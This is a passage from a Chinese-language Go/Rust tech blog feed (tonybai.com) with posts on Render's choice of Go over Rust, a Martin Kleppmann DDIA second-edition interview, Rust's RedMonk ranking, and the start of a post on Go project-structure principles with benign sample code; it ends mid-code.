确实比 Go 更好。但它还没好到值得让你把一个稳定的 Go 系统重写的地步。不过，如果你在乎快速的迭代周期，Rust 的编译时间可能会让你受伤。”\n这完美地概括了两种哲学的核心冲突：\nGo：给你 80 分的性能和 95 分的开发效率。 Rust：给你 100 分的性能和 100 分的运行时安全，但你可能要为此牺牲 50% 的开发效率和忍受漫长的编译等待。 AI 时代的变量：当“人类编写”不再是瓶颈 更有趣的是，这场发生于 2026 年的论战，不可避免地被卷入了 AI 编程的浪潮。\n一位开发者提出了一个极具前瞻性的观点：\n“（我选 Go），因为它现在是写 LLM 的最佳语言。”\n这背后隐藏着一个正在成为行业共识的趋势：Go 语言的极简语法、强制的 gofmt 格式化、以及“一眼望到底”的直白控制流，使其成为了对大模型（LLMs）最友好的“编程母语”。当 AI Agent 生成一段 Go 代码时，人类审查的认知负荷是最低的。\n而 RisingWave 则更认可正在成为现代数据基础设施的骨干的 Rust 在 AI 时代的潜力。随着 AI 应用对底层算子、向量数据库、推理引擎的性能要求越来越高，Rust 凭借其“零成本抽象”和对底层硬件的极致压榨能力，正在成为构建下一代 AI 基础设施的首选。\n这形成了一个有趣的闭环：Go 负责让 AI 更方便地“写”应用层代码，而 Rust 负责构建让 AI 能够“跑”起来的底层高性能引擎。\n架构师的终局：从“语言之争”到“问题之争” 在这场充斥着“拉踩”、“凡尔赛”和“信仰之争”的口水战中，我们依然能找到一条属于开发者架构师的、清晰的破局之路。\n第一，警惕“语言的锤子” 当你手里只有一把锤子时，你看什么都像钉子。\n正如一位开发者所言：“我的公司混合使用了 Go、Rust 和 Zig。最好的解决方案，永远是取决于具体问题的。”\n一个优秀的架构师，脑海中不应该有“哪个语言最好”的执念，而应该有一个装着各种工具的“兵器库”，并清楚地知道每件兵器的适用边界和成本。\n第二，承认“无聊”的价值 Render 创始人的那句“无聊是终极特性”，是对当下技术圈“追逐 Hype（炒作）”文化的一次降维打击。\n一个能稳定运行、默默处理千亿流量的系统，其商业价值，远大于一个用了最新潮技术、却隔三差-五需要半夜起来救火的“实验品”。\n对于绝大多数商业公司来说，技术的“可靠性”，永远高于技术的“先进性”。\n第三，你的价值，不在于你用了什么语言 另外一位开发者的评论一语中的：\n“大多数人会说 Rust。大多数团队依然会选 Go。而‘最好’的语言，是你能维护多年的那门语言。”\n在快速变化的技术浪潮中，一个团队、一个公司的核心资产，从来不是某个用特定语言写就的代码库，而是对业务领域的深刻理解、对系统复杂度的掌控能力，以及在出现问题时能快速定位并解决的工程文化。\n这些，都与具体的语言无关。\n小结：你的选择是什么？ Render 创始人 Anurag Goel 的一条推文，无意间点燃了 Go 与 Rust 两个顶级社区的哲学大碰撞。\n这场论战没有赢家，也不需要赢家。\n它只是再次向我们证明了软件工程世界的多样性与复杂性。无论是 Go 的务实与简洁，还是 Rust 的严谨与极致，它们都是在用不同的路径，攀登着名为“构建可靠软件”的同一座高峰。\n那么，回到最初的那个问题：\n如果你的余生只能用一种语言，你会选择哪一个？\n资料链接：https://x.com/i/trending/2044880265814978827\n今日互动探讨：\n如果让你来回答 Ben Dicken 的“电车难题”（Go, Zig, Rust 三选一），你的选择是什么？为什么？\n欢迎在评论区分享你的站队和理由！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将\u0026gt;带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/27/render-why-we-wont-rewrite-in-rust-the-power-of-boring-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/render-why-we-wont-rewrite-in-rust-the-power-of-boring-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/27/render-why-we-wont-rewrite-in-rust-the-power-of-boring-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/27/render-why-we-wont-rewrite-in-rust-the-power-of-boring-go\"\u003ehttps://tonybai.com/2026/04/27/render-why-we-wont-rewrite-in-rust-the-power-of-boring-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2026/01/07/go-language-comfort-zone-in-contempt-chain-pyramid\"\u003e技术圈的鄙视链\u003c/a\u003e里，Go 和 Rust 这对“欢喜冤家”的战争，似乎从未停歇。\u003c/p\u003e\n\u003cp\u003e一方是\u003ca href=\"https://tonybai.com/2025/11/21/why-go-is-quietly-doing-what-rust-couldnt-staying-simple\"\u003e追求极致简洁\u003c/a\u003e、被誉为“\u003ca href=\"https://tonybai.com/2024/08/17/go-the-c-language-of-the-internet-era-come-true\"\u003e云原生时代的 C 语言\u003c/a\u003e”的 Go；另一方则是以内存安全、性能屠榜著称、被视为“C++ 终极替代者”的 Rust。\u003c/p\u003e","title":"“我们想用 Rust 重写的次数是：零”：云平台 Render 靠“无聊”的 Go 撑起了千亿流量"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/26/interview-martin-kleppmann-ddia-2nd-edition-ai-distributed-systems\n大家好，我是Tony Bai。\n在后端架构师的世界里，有一本书被公认为“圣经”级别的存在，那就是 Martin Kleppmann 的**《数据密集型应用设计》（Designing Data-Intensive Applications，简称 DDIA）**。\n自 2017 年出版以来，这本书几乎重塑了一整代工程师对分布式系统的认知。无论你是要搞定千万级并发，还是设计高可用的存储架构，DDIA 永远是那个最初也是最后的“标准答案”。\n然而，九年过去了，世界变了。\n我们经历了从本地机房到全面云原生的跃迁，见证了 Kafka 从一个内部工具变成行业基础设施，更在这两年，迎来了大模型（LLM）对编程范式的史诗级冲击。\n在一个技术日新月异的时代，经典的寿命往往很短。很多人都在问：DDIA 的理论还跟得上这个 AI 时代吗？\n就在前几天，Martin Kleppmann 接受了一次的深度专访，正式官宣：DDIA 第二版，终于来了！\n在这场长达一个多小时的对话中，Martin 不仅首次揭秘了新版中那些颠覆性的内容更新（比如为什么他“杀死”了 MapReduce），更是重点探讨了一个让所有人脊背发凉的话题：AI，到底会如何颠覆我们苦心经营了几十年的分布式系统架构？\n今天，我们就来深度拆解这位分布式系统“教父级人物”的最新思考。\n历史的拐点：从“物理磁盘”到“云原语”的倒塌 Martin 在访谈中提到，第二版之所以需要“重写”，是因为分布式系统的物理基石已经发生了根本性的位移。\n在 DDIA 第一版编写时，主流的架构假设是：你拥有一堆物理机，每台机器挂着本地磁盘。如果你想实现高可用，你需要自己写代码处理副本复制。\n但在 2026 年的今天，这种思维模式正在被彻底颠覆。\n“现在的工程师不再思考如何给磁盘写数据，他们思考的是如何与对象存储（如 S3）交互。复制不再发生在数据库层，而是被内化到了对象存储这个基础抽象中。”\n这种转变是极其深远的。这意味着，我们过去死记硬背的很多关于“本地存储性能优化”的知识正在失效。云原语（Cloud Primitives）正在取代物理硬件，成为新的架构单元。 这正是新版 DDIA 最大的改动之一：将“构建在云服务之上”作为一切讨论的新起点。\nMapReduce 之死：一代霸主的退场 访谈中，Martin 抛出了一个让老兵们唏嘘不已的断言：“MapReduce 已经彻底死了。”\n在第一版中，MapReduce 占据了大量的篇幅。但在第二版中，它被从核心位置撤下，仅仅作为一个“历史教学案例”。\n“没人再手写 MapReduce 了。它的继任者——Spark 和 Flink，用更高级的抽象解决了一切。我们不应该再让读者把精力浪费在过时的工具上，而应该去理解流处理与批处理融合后的新世界。”\n这种对技术的断舍离，展现了 Martin 作为顶级分布式系统架构师的冷酷与理性：当一个抽象已经完全被更高层的工具覆盖，它就失去了作为“工程前沿”的价值。\nAI 的重塑：形式化验证的“文艺复兴” 标题中提到的“AI 如何颠覆分布式系统”，是整场访谈最精彩的部分。Martin 并没有谈论那些陈词滥调的“AI 写代码”，他提出了一个极具反差感的预言：AI，将让“形式化验证”这门古老的高端技术回归主流。\n分布式系统中最恐怖的事情是什么？是那些人类大脑无法推演出的、由于网络延迟和时钟漂移引发的**“隐性 Bug”**。\n以往，我们用 TLA+ 或 FISB 进行形式化验证，代价极高，只有剑桥、谷歌的顶级研究员才玩得转。Martin 坦言，他在工业界工作时也从未用过。\n但现在，AI 改变了这一切。\n“LLM 正在变得越来越擅长编写数学证明。当我们可以让 AI 自动进行形式化验证，而不仅仅是跑单元测试时，我们就有可能在安全和金融等高风险领域，彻底消灭那些困扰我们几十年的分布式陷阱。”\n这是一种降维打击。 以前我们靠“经验”去踩坑，未来我们靠 AI 和数学去“封印”坑位。\n身份的危机：当人类不再拥有“挣扎权” Martin 在访谈中对 AI 的普及展现出了一种深刻的忧虑。他认为，AI 正在剥夺初级工程师**“建立心智模型（Mental Models）”**的机会。\n“为了学会一样东西，你必须经历挣扎。如果你遇到一个复杂的数据库性能 Bug，你翻遍文档、调试源码、最终解决它，这个过程会让你对系统产生极其深刻的直觉。\n但如果 AI 直接跳出来给了你答案，你虽然解决了问题，但你的大脑却是一片空白。没有了挣扎，就没有了深刻的理解。”\nMartin 预言，未来的软件工程将面临一次严重的**“人才断层”**：顶层是理解系统本质的、拥有 DDIA 级认知的架构师；底层是只会调 API 的“提示词操作员”。中间那一层，正在消失。\nLocal-First：一场针对“云霸权”的抗争 除了 AI，Martin 现在倾注心血最多的研究领域是 Local-first Software（本地优先软件）。\nMartin 对当前的 SaaS 订阅模式提出了猛烈的批评：\n“现在的 SaaS 公司，实际上是拿着枪指着用户的头：‘交钱，否则我们就删了你的数据’。这种极度中心化的模式，是极其不健康的。”\n他正在研究如何构建去中心化的协作系统（如去中心化版的 Google Docs）。这引出了分布式系统最底层的极限挑战：在没有中心服务器、甚至没有统一时钟的情况下，如何解决并发冲突？\n你在 DDIA 里学到的时钟偏移、向量时钟、共识协议，在 Local-first 的世界里，将从“大厂面试题”变成每一个开发者都要面对的“生存命题”。\n小结：在万变中，抓住那个“不变” 访谈的最后，Martin 感慨，尽管技术层出不穷，但分布式系统的“第一性原理”从未改变。\n“作为工程师，我们的核心价值正从‘如何实现一个算法’迁移到‘如何在复杂的权衡（Trade-offs）中做出决策’。”\nAI 可以写下每一行代码，但它无法替你决定：是在这个业务场景下追求极致的一致性（Consistency），还是为了用户体验牺牲部分可靠性以换取低延迟（Latency）。\n这种基于商业目标、社会伦理和技术约束的“决策力”，才是架构师真正的护城河。\nDDIA 第二版的到来，并不是为了教你最新的工具，而是为了在这个被 AI 搅得天翻地覆的时代，给你一根能定住风浪的“定海神针”。\n九年磨一剑。如果你想在这个 AI 颠覆一切的洪流中，依然能看透系统的本质，那么 Martin Kleppmann 的这本新版“圣经”，是你必须拿下的武器。\n资料链接：https://www.youtube.com/watch?v=SVOrURyOu_U\n今日互动探讨：\n你觉得在 AI 能够生成绝大部分代码的未来，一个“懂分布式底层原理”的架构师，身价是会暴涨还是贬值？在你的日常工作中，有哪些分布式系统的痛点，是你最希望在 DDIA 第二版中看到的？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/26/interview-martin-kleppmann-ddia-2nd-edition-ai-distributed-systems/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/interview-martin-kleppmann-ddia-2nd-edition-ai-distributed-systems-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/26/interview-martin-kleppmann-ddia-2nd-edition-ai-distributed-systems\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/26/interview-martin-kleppmann-ddia-2nd-edition-ai-distributed-systems\"\u003ehttps://tonybai.com/2026/04/26/interview-martin-kleppmann-ddia-2nd-edition-ai-distributed-systems\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在后端架构师的世界里，有一本书被公认为“圣经”级别的存在，那就是 Martin Kleppmann 的**《数据密集型应用设计》（Designing Data-Intensive Applications，简称 DDIA）**。\u003c/p\u003e","title":"对话 Martin Kleppmann：DDIA 第二版揭秘，以及 AI 将如何颠覆分布式系统"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/25/rust-popularity-vs-redmonk-ranking-reality-check\n大家好，我是Tony Bai。\n在过去几年的技术圈，Rust 是当之无愧的“流量之王”。\n它连续多年在 Stack Overflow 开发者调研中蝉联“最受喜爱的语言”；它是 Linux 内核 30 年来引入的唯一非 C 语言；它是微软、亚马逊等大厂重塑底层安全架构的希望。\n如果只看社交媒体和社区讨论，你会觉得 Rust 已经“统治了世界”。在一片赞歌中，大家默认 Rust 杀进主流榜单前十、取代传统语言只是时间问题。\n但就在 2026 年 4 月，一份来自权威分析机构 RedMonk 的2026.1编程语言排行榜，却给所有“Rust 狂热者”泼了一盆透心凉的冷水。\n数据呈现了一个极其残酷的反差：\n在这份以“开发者真实选择”为核心指标的榜单上，Rust 的排名并没有像预期的那样一飞冲天，而是停滞在了第 20 位，甚至被曾被视为小众的 Dart 所超越。相比之下，那个常被调侃“无趣”的 Go 语言，依然稳稳地坐在第 12 位，并在云原生领域保持着统治地位。\n为什么人人爱 Rust，但它在工业界的大规模普及却显得如此缓慢？为什么它“攻陷”了最硬核的 Linux 内核，却迟迟进不了普通开发者的日常？\n今天，我想结合近期社区的深度讨论，扒开 Rust 这层华丽的外衣，带大家看看这门“天选之子”背后的生存现状与真实挑战。\n口碑与数据的鸿沟：被锁死在“塔尖”的生产力 在开发者 Alejandra 最近整理的一份清单里，Rust 的“战绩”堪称辉煌：Windows 11 的核心组件、AWS 的 Firecracker 虚拟化、Cloudflare 的下一代代理服务器 Pingora……\n但这恰恰揭示了 Rust 目前最大的尴尬：它是一个“属于 1% 的神兵利器”。\n这些成功的 Rust 项目，无一例外都属于“系统级基础设施”领域。它们雇佣的是全球前 1% 的顶级程序员，拥有极其漫长的研发周期和近乎奢侈的调试成本。\n正如 RedMonk 的分析师在报告中一针见血地指出：\n“Rust 依然面临着非专家程序员难以逾越的学习门槛。专家们愿意投入时间，但更广泛的主流采用似乎面临着巨大的惯性。”\n开发者 Alejandra 在其博文的自白中也坦言：\n“无论我们如何自我安慰 Rust 已经进入主流，事实是：它离 C++ 甚至 Java 的普及程度，依然有着深不见底的鸿沟。大学教的第一门语言依然是 Java，飞机上依然在用 C++，网页里依然全是 Javascript。”\nRust 已经完成了从 0 到 1 的“极客突围”，却正在撞向从 1 到 N 的“工业化之墙”。\n标准库的困局：当“技术洁癖”变成“协作负担” 除了学习曲线，Rust 进军主流的第二个障碍，也许就是它那小而美的标准库。\n这篇名为**《Unpopular opinion: Rust should have a larger standard library》（非主流观点：Rust 应该有一个更大的标准库）**的帖子，戳中了无数一线开发者的泪点：\n在我之前写过的一篇文章《别搞“小而美”了！Rust 开发者请愿：求求标准库学学 Go 吧》中也曾提过社区对 Rust 标准库的述求：\n“我不想写个程序就要拉几百个三方库！生成一个随机数，std 里没有；想要个异步运行时，std 里也没有。我不得不把信任托付给几百个散落在 GitHub 各地、由个人维护的小型包（Crate）。”\n这种对“核心精简”的极致追求，正在引发严重的“供应链安全焦虑”。\n在 Go 的世界里，你可以用标准库完成 90% 的后端开发，这意味着你的核心链路是由 Google 顶尖团队直接背书的。但在 Rust 的世界里，开发者面临着“碎片化依赖”的内耗。\n这种“标准库贫血”导致了一个反直觉的现象：Rust 是一门为了“安全”而生的语言，但它极度依赖社区包的机制，却在客观上增加了**供应链被“投毒”**的风险。\n正如评论区所感慨的：“标准库是模块最终的坟场。”Rust 团队为了避免标准库变得臃肿，却无意中将“复杂性”和“审计成本”全部转嫁给了一线开发者。这种“技术洁癖”在处理顶级项目时是美德，但在处理追求效率的通用业务时，却成了巨大的阻碍。\nGo vs Rust：工业生产力的两种极致审美 为什么 Go 能在 RedMonk 榜单上稳坐第 12，而 Rust 只能在第 20 徘徊？\n这是两种完全不同的工程学审美，也决定了它们在大规模协作中的不同命运：\nGo 的审美是“工厂流水线”：它不鼓励个人英雄主义，它用 gofmt 强制所有人的代码长得一模一样。它追求的是**“平均生产力的最大化”**。即便是一个普通水准的程序员，在 Go 的框架下也很难写出摧毁系统的灾难性代码。这种“无聊”和“简单”，正是大厂进行大规模兵团作战时的首选。 Rust 的审美是“顶级艺术工作室”：它追求极致的精准、极致的控制。每一个 borrow，每一个 lifetime 都是在进行微雕。它追求的是**“个体生产力的上限”**。 但在现代软件工业中，“下限的稳定性”往往比“上限的惊艳度”更具普适价值。 绝大多数公司需要的不是一个能手搓编译器的天才，而是一群能够按照既定流程、稳健产出、且易于维护代码的合格工程师。\nAI 时代的变数：谁才是对机器最友好的母语？ RedMonk 的报告里还提出了一个极具前瞻性的观察：理论上，AI 编码辅助工具应该能抹平 Rust 的学习曲线，但现实并非如此。\n为什么？\n大模型（LLM）的本质是模式识别和概率预测。\n对于语法单一、推崇“唯一路径”的 Go 语言来说，AI 生成的代码准确率极高，且人类审查的认知负荷极低。\n而对于规则极其复杂、生命周期标记繁琐的 Rust 来说，AI 生成的代码极易出现“微妙的语法错误”或“不地道的生命周期设计”。人类开发者在审查 AI 生成的 Rust 代码时，往往比自己重写一遍还要痛苦。\n在“机器写代码”即将接管开发流程的未来，简单、标准、甚至有些“死板”的语言，反而拥有更宽、更深的护城河。《HashiCorp 创始人亲口“认错”：AI 让我重新爱上了 Go (文末福利)》一文中Hashicorp创始人Mitchell Hashimoto 因 AI 重新爱上Go，以及Pandas 之父近期更喜欢让 AI 用Go写代码也印证了这一点。\n小结：架构师的清醒与权衡 作为一个架构师，我们不必因为 Rust 在榜单上的“冷水”而否定它的伟大。\nRust 正在解决软件工程中最难的问题——在不牺牲性能的前提下，从根源上消灭内存漏洞。它的价值，已经在 Linux 内核和那些“不容有失”的领域得到了证明。\n但我们也必须清醒地认识到：技术的流行度（Popularity）与技术的高级感（Elegance）并不总是正相关。\n如果你在构建下一代安全操作系统、数据库内核或高性能边缘网关，Rust 是你不二的利剑。\n但如果你在构建一个需要快速迭代、支撑公司核心营收、且由几十甚至上百人协作的后端业务系统，请务必保持客观：那个排名第 12、虽然有些“平庸”但永远能准时交付、且对 AI 极度友好的 Go，或许才是那个更优的工程方案。\n再次祭出那句话：你的技术护城河，从来不是由你用什么语言决定的，而是由你解决问题的深度，以及你在各种极端权衡（Trade-offs）中做出的选择决定的。\n资料链接：\nhttps://blog.goose.love/posts/what-actually-uses-rust/ https://www.reddit.com/r/rust/comments/1sqyjxa/blog_ok_what_actually_uses_rust/ https://redmonk.com/sogrady/2026/04/14/language-rankings-1-26/ 今日互动探讨：\n看完这份“人人爱 Rust，但榜单很冷酷”的现实反差，你觉得 Rust 挺进主流最大的障碍是什么？你认为“大标准库”是未来编程语言的必然趋势吗？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/25/rust-popularity-vs-redmonk-ranking-reality-check/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/rust-popularity-vs-redmonk-ranking-reality-check-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/25/rust-popularity-vs-redmonk-ranking-reality-check\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/25/rust-popularity-vs-redmonk-ranking-reality-check\"\u003ehttps://tonybai.com/2026/04/25/rust-popularity-vs-redmonk-ranking-reality-check\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去几年的技术圈，Rust 是当之无愧的“流量之王”。\u003c/p\u003e\n\u003cp\u003e它连续多年在 Stack Overflow 开发者调研中蝉联“最受喜爱的语言”；它是 Linux 内核 30 年来引入的唯一非 C 语言；它是微软、亚马逊等大厂重塑底层安全架构的希望。\u003c/p\u003e","title":"为什么人人爱 Rust，但 RedMonk 榜单却给它泼了一盆冷水？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/24/go-code-design-day-one-principle-practical-patterns-list\n大家好，我是Tony Bai。\n世界读书日送福利活动火热进行中，点击这里留言参与，赢取属于你的幸运！\n每一个 Go 开发者，大概都经历过这样的心路历程：\n项目启动初期，为了追求“快”，我们怎么方便怎么来。配置到处写，数据库连接随手建，错误日志直接 fmt.Println。我们安慰自己：“先跑起来，以后再重构。”\n结果呢？\n半年后，项目变成了一座摇摇欲坠的“屎山”。配置散落在几十个文件里，改一个端口号要动十个地方；数据库连接池因为没关，把连接数打满；线上出了 Bug，日志里只有一行孤零零的 record not found，查个问题比登天还难。\n技术债，就像滚雪球，你越是假装看不见，它就滚得越大。\n这时候，你的内心肯定在呐喊：有没有一些在Go项目刚创建时期就应该知道的Go代码模式，可以让我在项目的**“第一天”**，就建立起一套健壮、可维护、可观测的骨架呢！\n有的！\n我将这套方法论，称为 Go 语言架构的“第一天原则”。掌握它，足以让你在Go 代码设计的道路上，少走五年弯路。\n这些原则，没有一条是关于炫技的复杂设计模式。\n今天，我们就来逐条硬核拆解这些原则，并用可运行的 Go 代码，手把手教你如何将它们落地。\n原则一：配置集中解析，依赖显式注入 这是所有“混乱”的根源。如果你的代码里，到处都是 os.Getenv(“DB_HOST”)，那你的项目已经走在了通往地狱的路上。\n反模式：\n在某个业务函数的深处，为了连一下 Redis，临时去读环境变量。这使得你的函数与外部环境强耦合，极难进行单元测试。\n第一天原则：\n在 main 函数中，一次性完成所有配置的解析和校验，然后通过构造函数，将“配置好”的依赖（如数据库连接池），以“接口”的形式，显式地注入到需要的服务中。\n【Go 代码实战】\n// https://go.dev/play/p/CrGDShmoFFJ package main import ( \u0026#34;context\u0026#34; \u0026#34;database/sql\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;os\u0026#34; _ \u0026#34;github.com/lib/pq\u0026#34; ) type Config struct { DatabaseURL string ListenAddr string } func loadConfig() Config { dbURL := os.Getenv(\u0026#34;DATABASE_URL\u0026#34;) if dbURL == \u0026#34;\u0026#34; { log.Fatal(\u0026#34;DATABASE_URL is not set\u0026#34;) } return Config{ DatabaseURL: dbURL, ListenAddr: \u0026#34;:8080\u0026#34;, } } type UserRepo interface { GetUser(ctx context.Context, id int) (string, error) } type PostgresUserRepo struct { db *sql.DB } func (r *PostgresUserRepo) GetUser(ctx context.Context, id int) (string, error) { var name string err := r.db.QueryRowContext(ctx, \u0026#34;SELECT name FROM users WHERE id=$1\u0026#34;, id).Scan(\u0026amp;name) return name, err } func NewPostgresUserRepo(db *sql.DB) *PostgresUserRepo { return \u0026amp;PostgresUserRepo{db: db} } type Server struct { repo UserRepo } func NewServer(repo UserRepo) *Server { return \u0026amp;Server{repo: repo} } func (s *Server) HandleGetUser(w http.ResponseWriter, r *http.Request) { name, err := s.repo.GetUser(r.Context(), 1) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } fmt.Fprintf(w, \u0026#34;User: %s\u0026#34;, name) } func main() { cfg := loadConfig() db, err := sql.Open(\u0026#34;postgres\u0026#34;, cfg.DatabaseURL) if err != nil { log.Fatalf(\u0026#34;failed to connect to database: %v\u0026#34;, err) } defer db.Close() repo := NewPostgresUserRepo(db) server := NewServer(repo) http.HandleFunc(\u0026#34;/user\u0026#34;, server.HandleGetUser) log.Printf(\u0026#34;Server starting on %s\u0026#34;, cfg.ListenAddr) log.Fatal(http.ListenAndServe(cfg.ListenAddr, nil)) } 这样一来，你的业务代码将变得极其纯粹，不依赖任何全局状态，测试时也可以轻松地 Mock 掉 UserRepo 接口。\n原则二：为可观测性而设计：结构化日志与 Metrics “不就是打个日志吗，fmt.Println 走起！”——这是毁掉一个项目最快的方式。\n反模式：\n遇到错误，直接 log.Printf(“Error: %v”, err)。当线上出现几万条这样的日志时，你根本无法进行聚合、告警和趋势分析。\n第一天原则：\n从第一天起，就引入结构化日志（如 log/slog 或 zap）。将所有关键信息（如 user_id, trace_id）作为独立的字段打印。同时，为关键业务指标（如缓存命中率、数据库查询延迟）埋入 Metrics。\n【Go 代码实战】\n// https://go.dev/play/p/h4_8a4nzCFx package main import ( \u0026#34;log/slog\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;os\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/prometheus/client_golang/prometheus\u0026#34; \u0026#34;github.com/prometheus/client_golang/prometheus/promhttp\u0026#34; ) var ( cacheHits = prometheus.NewCounter(prometheus.CounterOpts{ Name: \u0026#34;myapp_cache_hits_total\u0026#34;, Help: \u0026#34;Total number of cache hits.\u0026#34;, }) dbQueryDuration = prometheus.NewHistogram(prometheus.HistogramOpts{ Name: \u0026#34;myapp_db_query_duration_seconds\u0026#34;, Help: \u0026#34;Histogram of database query durations.\u0026#34;, Buckets: prometheus.DefBuckets, }) ) func init() { prometheus.MustRegister(cacheHits, dbQueryDuration) } func handleRequest(w http.ResponseWriter, r *http.Request) { logger := slog.New(slog.NewJSONHandler(os.Stdout, nil)) logger.Info(\u0026#34;handling request\u0026#34;, \u0026#34;method\u0026#34;, r.Method, \u0026#34;path\u0026#34;, r.URL.Path, \u0026#34;remote_addr\u0026#34;, 